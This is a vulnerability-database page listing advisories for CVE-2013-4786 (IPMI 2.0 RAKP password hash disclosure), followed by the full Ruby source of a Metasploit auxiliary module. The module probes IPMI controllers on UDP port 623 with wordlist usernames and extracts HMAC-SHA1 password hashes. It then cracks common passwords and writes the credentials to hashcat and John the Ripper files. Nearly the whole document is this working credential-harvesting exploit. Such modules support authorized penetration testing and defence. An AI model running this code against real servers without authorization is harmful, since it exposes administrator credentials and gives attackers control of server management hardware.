| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2013-4786 | 8 Jul 201300:00 | – | attackerkb | |
| Is Vulnerability Management more about Vulnerabilities or Management? | 11 Feb 202013:46 | – | avleonov | |
| CVE-2013-4786 | 2 Jul 201300:00 | – | circl | |
| CVE-2013-4786 for LOM vulnerability | 16 Apr 201800:00 | – | citrix | |
| CVE-2013-4786 | 8 Jul 201322:00 | – | cve | |
| CVE-2013-4786 | 8 Jul 201322:00 | – | cvelist | |
| K16846: IPMI vulnerability CVE-2013-4786 | 21 Feb 202318:19 | – | f5 | |
| SOL16846 - IPMI vulnerability CVE-2013-4786 | 2 Jul 201500:00 | – | f5 | |
| IPMI v2.0 Password Hash Disclosure | 18 Dec 201400:00 | – | nessus | |
| JVN#38752718: Multiple NEC Products vulnerable to authentication bypass | 4 Jan 202100:00 | – | jvn |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',
'Description' => %q|
This module identifies IPMI 2.0-compatible systems and attempts to retrieve the
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
|,
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],
['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367
['CVE', '2013-4786'],
['OSVDB', '95057'],
['BID', '61076'],
],
'DisclosureDate' => 'Jun 20 2013'
)
register_options(
[
Opt::RPORT(623),
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
]),
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
]),
OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),
OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),
OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),
OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])
])
end
def post_auth?
true
end
def ipmi_status(msg)
vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")
end
def ipmi_error(msg)
vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")
end
def ipmi_good(msg)
print_good("#{rhost}:#{rport} - IPMI - #{msg}")
end
def run_host(ip)
ipmi_status("Sending IPMI probes")
usernames = []
passwords = []
# Load up our username list (save on open fds)
::File.open(datastore['USER_FILE'], "rb") do |fd|
fd.each_line do |line|
usernames << line.strip
end
end
usernames << ""
usernames = usernames.uniq
# Load up our password list (save on open fds)
::File.open(datastore['PASS_FILE'], "rb") do |fd|
fd.each_line do |line|
passwords << line.gsub(/\r?\n?/, '')
end
end
passwords << ""
passwords = passwords.uniq
delay_value = datastore['SESSION_RETRY_DELAY'].to_i
max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
add_socket(self.udp_sock)
reported_vuln = false
session_succeeded = false
usernames.each do |username|
console_session_id = Rex::Text.rand_text(4)
console_random_id = Rex::Text.rand_text(16)
ipmi_status("Trying username '#{username}'...")
rakp = nil
sess = nil
sess_data = nil
# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)
1.upto(max_session_attempts) do |attempt|
r = nil
1.upto(3) do
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))
r = udp_recv(5.0)
break if r
end
unless r
ipmi_status("No response to IPMI open session request")
rakp = nil
break
end
sess = process_opensession_reply(*r)
unless sess
ipmi_status("Could not understand the response to the open session request")
rakp = nil
break
end
if sess.data.length < 8
ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")
rakp = nil
sleep(delay_value) if session_succeeded
next # break
end
session_succeeded = true
sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)
r = nil
1.upto(3) do
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))
r = udp_recv(5.0)
break if r
end
unless r
ipmi_status("No response to RAKP1 message")
next
end
rakp = process_rakp1_reply(*r)
unless rakp
ipmi_status("Could not understand the response to the RAKP1 request")
rakp = nil
break
end
# Sleep and retry on session ID errors
if rakp.error_code == 2
ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")
Rex.sleep(1)
next
end
if rakp.error_code != 0
ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
rakp = nil
break
end
# TODO: Finish documenting this error field
if rakp.ignored1 != 0
ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")
rakp = nil
break
end
# Check if there is hash data
if rakp.data.length < 56
rakp = nil
break
end
# Break out of the session retry code if we make it here
break
end
# Skip to the next user if we didnt get a valid response
next if !rakp
# Calculate the salt used in the hmac-sha1 hash
rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)
hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(
console_session_id,
sess_data.bmc_session_id,
console_random_id,
rakp_data.bmc_random_id,
rakp_data.bmc_guid,
0x14,
username
)
sha1_salt = hmac_buffer.unpack("H*")[0]
sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]
if sha1_hash == "0000000000000000000000000000000000000000"
ipmi_error("Returned a bogus SHA1 hash for username #{username}")
next
end
ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")
write_output_files(rhost, username, sha1_salt, sha1_hash)
# Write the rakp hash to the database
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
core_id = report_hash(username, hash)
# Write the vulnerability to the database
unless reported_vuln
report_vuln(
:host => rhost,
:port => rport,
:proto => 'udp',
:sname => 'ipmi',
:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',
:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",
:refs => self.references
)
reported_vuln = true
end
# Offline crack common passwords and report clear-text credentials
next unless datastore['CRACK_COMMON']
passwords.uniq.each do |pass|
pass = pass.strip
next unless pass.length > 0
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)
ipmi_good("Hash for user '#{username}' matches password '#{pass}'")
# Report the clear-text credential to the database
report_cracked_cred(username, pass, core_id)
break
end
end
end
def process_opensession_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP
info
end
def process_rakp1_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2
info
end
def write_output_files(rhost, username, sha1_salt, sha1_hash)
if datastore['OUTPUT_HASHCAT_FILE']
::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|
fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
fd.flush
end
end
if datastore['OUTPUT_JOHN_FILE']
::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|
fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
fd.flush
end
end
end
def service_data
{
address: rhost,
port: rport,
service_name: 'ipmi',
protocol: 'udp',
workspace_id: myworkspace_id
}
end
def report_hash(user, hash)
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'rakp',
username: user,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
cl = create_credential_login(login_data)
cl ? cl.core_id : nil
end
def report_cracked_cred(user, password, core_id)
cred_data = {
core_id: core_id,
username: user,
password: password
}
create_cracked_credential(cred_data)
end
#
# Helper methods (these didn't quite fit with existing mixins)
#
attr_accessor :udp_sock
def udp_send(data)
begin
udp_sock.sendto(data, rhost, datastore['RPORT'], 0)
rescue ::Interrupt
raise $!
rescue ::Exception
end
end
def udp_recv(timeo)
r = udp_sock.recvfrom(65535, timeo)
r[1] ? r : nil
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation